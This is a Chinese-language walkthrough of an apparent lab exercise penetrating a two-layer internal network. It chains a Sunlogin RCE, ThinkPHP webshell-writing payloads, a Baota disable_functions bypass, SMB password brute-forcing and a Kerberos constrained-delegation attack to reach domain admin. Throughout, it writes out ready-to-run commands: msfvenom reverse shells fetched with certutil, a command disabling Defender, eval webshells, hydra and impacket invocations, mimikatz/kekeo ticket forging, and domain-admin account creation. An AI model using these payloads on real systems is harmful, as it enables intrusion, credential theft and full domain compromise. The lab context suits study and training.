记一次双层内网渗透
项目拓扑
此项目存在多个历史漏洞,考察Host碰撞、bt绕过、判断是否出网、搭建隧道、约束委派攻击等。
外网打点
向日葵RCE漏洞
端口扫描,发现如下两个端口
5985端口,没什么可用信息,再看看49773端口,访问返回信息,总感觉有点眼熟。
原来如此
CVE-2022-10270:https://www.cnblogs.com/spmonkey/p/16602040.html
访问url获取验证码
http://192.168.40.141:49773/cgi-bin/rpc?action=verify-haras
http://192.168.200.135:49678/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe whoami
Cookie: CID=上一步获取的验证码
别人的利用工具用着不舒服,自己写一个一体化的工具。
漏洞检测
漏洞利用
但是想了一下,这里就算向日葵可以连接,还需要windows的账号密码才可以,遂放弃,老老实实去上线metasploit。
识别杀软
并且当前系统版本windows server 2016,尝试关闭windows defender的实时防护。。。
# 这里要执行的命令尽量用单引号包裹,双引号有时候会执行失败。
pocsuite -r Sunlogin-RCE-CVE-2022-10270.py -u http://192.168.40.141:54774 --attack --param 'set-MpPreference -DisableRealtimeMonitoring $true'
这里使用生成exe后门无法执行,使用powershell命令也无法运行。。。最终生成powershell类型的hta文档执行成功上线
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.40.129 lport=2345 -f hta-psh -o w.hta
certutil -urlcache -split -f http://192.168.40.129/w.hta C:\w.hta
获取到shell,并迁移进程
抓取密码hash,这里直接抓取明文肯定是行不通的。
john工具解密,成功获取到administrator和ash的密码。
查看网卡,发现存在192.168.100.0/24网段。
查看192.168.100.0/24网段存活地址
添加路由
msf自己的socks代理太慢了,上传frp搭建socks5隧道。
端口扫描,发现22端口和宝塔的登陆地址。
ThinkPHP-RCE 写马
尝试22端口,发现不能直接连接,8888端口提示安全入口校验失败,也不能直接登陆,那就剩80端口了,扫一下目录,但是这里扫不了。
这里由于我前面获取到了跳板机的账号和密码,所以我直接登陆看看有什么信息。发现桌面有一个测试地址文件,里面看样子像是域名,也不能直接访问。
但是这里也有一个火狐浏览器,比较可疑,去看一下历史记录,发现这里有3个关于192.168.100.131的访问记录。
http://192.168.100.131/vulntarget/public
http://192.168.100.131/vulntarget/public/index.php
然后我直接访问,很奇怪,都是返回400。
查看跳板机的本地hosts文件,也没有配置。
Host碰撞
添加Host头访问,但是一看源代码,人麻了,怎么是个静态页面啊。
访问http://192.168.100.131/vulntarget/public/ ,发现是一个ThinkPHP,这一看就有洞啊。
ThinkPHP_RCE_payload:https://www.exploit-db.com/exploits/46150
直接访问,发现system()函数被禁用了。
这里使用assert()函数,页面回显变了,但是依旧无法执行系统命令。
当前目录拒绝访问
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=a.php&vars[1][1]=<?php $s = "php";$b ="info();";$c=$s.$b;assert($c);?>
这里使用assert函数,虽然没限制,但是写入文件访问是空白页面。最后使用eval成功写入。
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../win.php&vars[1][1]=<?php $d='php';$ev='info();';$c=$d.$ev;eval($c);?>
这里试了好多方法都写不进去马,最后参考这里使用3次URL编码成功写入。
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../winsha.php&vars[1][1]=<?php eval(urldecode(urldecode(urldecode($_REQUEST[x]))));?>
蚁剑添加一个新的编码规则
'use strict';
// ########## 请在下方编写你自己的代码 ###################
function forceEncode(s) {
return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}
module.exports = (pwd, data, ext={}) => {
const payload = data['_']
data[pwd] = forceEncode(forceEncode(payload));
delete data['_'];
console.log(data);
return data;
}
bt绕过
执行命令,发现被限制了,使用蚁剑的插件进行绕过,但是执行命令没有回显。
这里绕过还是看这位博主的文章:https://cloud.tencent.com/developer/article/1982090
修改bt绕过脚本,更改命令,查看/etc/passwd文件。
php7_bt_bypass_exp:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
内网渗透
前面扫描端口发现存在22端口,并且root、vulntarget用户可以登陆。
去vulntarget用户目录下去看看,root目录肯定是拒绝访问的;发现一个key文件,感觉很奇怪,看一下。
发现是一个密钥文件。
尝试使用ssh登陆。发现不是vulntarget用户的,难道。。。还真是。
查看网卡,发现存在192.168.88.0/24网段地址。
尝试ping跳板机,但是没反应,甚至ping自己都没反应,看来ICMP协议是直接封死啊。
查看端口开放情况,除了前面扫描出来的,就一个3333端口是开放的。
上传并使用Ladon开启web服务。
使用wget下载一直超时,好奇怪,最后我在windows本地设置socks5代理,然后使用terminal连接,上传文件
set ReverseAllowProxy true
arp -a发现192.168.88.102主机。
端口扫描,只发现2个端口开放。
使用hydra爆破,发现administrator用户弱口令。
proxychains4 hydra -l Administrator -P /root/Desktop/webinfo/top1000.txt smb://192.168.88.102
proxychains4 python3 smbexec.py Administrator@192.168.88.102
powershell(new-object System.Net.WebClient).DownloadFile( 'http://192.168.88.100:81/208.exe' , 'C:\Users\Administrator\208.exe')
certutil -urlcache -split -f http://192.168.88.100:81/208.exe C:\Users\Administrator\208.exe
这里代理转发上线,一直没有会话。。。最后查看ubuntu的防火墙默认规则,发现其他端口都被限制了,添加出站和入站规则,成功获取到win2008的会话,迁移进程。
iptables -A INPUT -p tcp --dport 3334 -j ACCEPT
iptables -A INPUT -p tcp --sport 3334 -j ACCEPT
iptables -L
抓取明文密码
Administrator/admin@123
VULNTARGET\win2008/qweASD123
查看IP地址,获取到存在10.0.10.0/24网段地址,并且域控的IP为10.0.10.10
添加路由
域渗透之约束委派攻击
端口扫描。
检测是否存在约束委派攻击
ldapsearch -x -H ldap://10.0.10.10:389 -D "CN=win2008,CN=Users,DC=vulntaret,DC=com" -w qweASD123 -b "DC=vulntarget,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
这里我使用metasploit的shell就会显示如下信息,索性就开启远程桌面。
通过kekeo请求服务用户的TGT
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
利用这个票据通过伪造S4U请求以administrator身份访问win2008的ST
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
运行mimikatz,导入生成的票据。
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
成功访问到域控。注意:这里执行dir \\WIN-1PV25H8UJPN.vulntarget.com\c$
之后,执行其他命令就会显示拒绝访问,重新导入票据之后不要执行这条命令,直接新增加一个用户即可。
dir \\WIN-1PV25H8UJPN.vulntarget.com\c$
net user admin QWEasd123 /add /domain
net group "domain admins" admin /add /domain
使用新创建的用户成功获取到域控的权限。
proxychains4 python3 wmiexec.py admin:QWEasd123@10.0.10.10
开启远程桌面连接。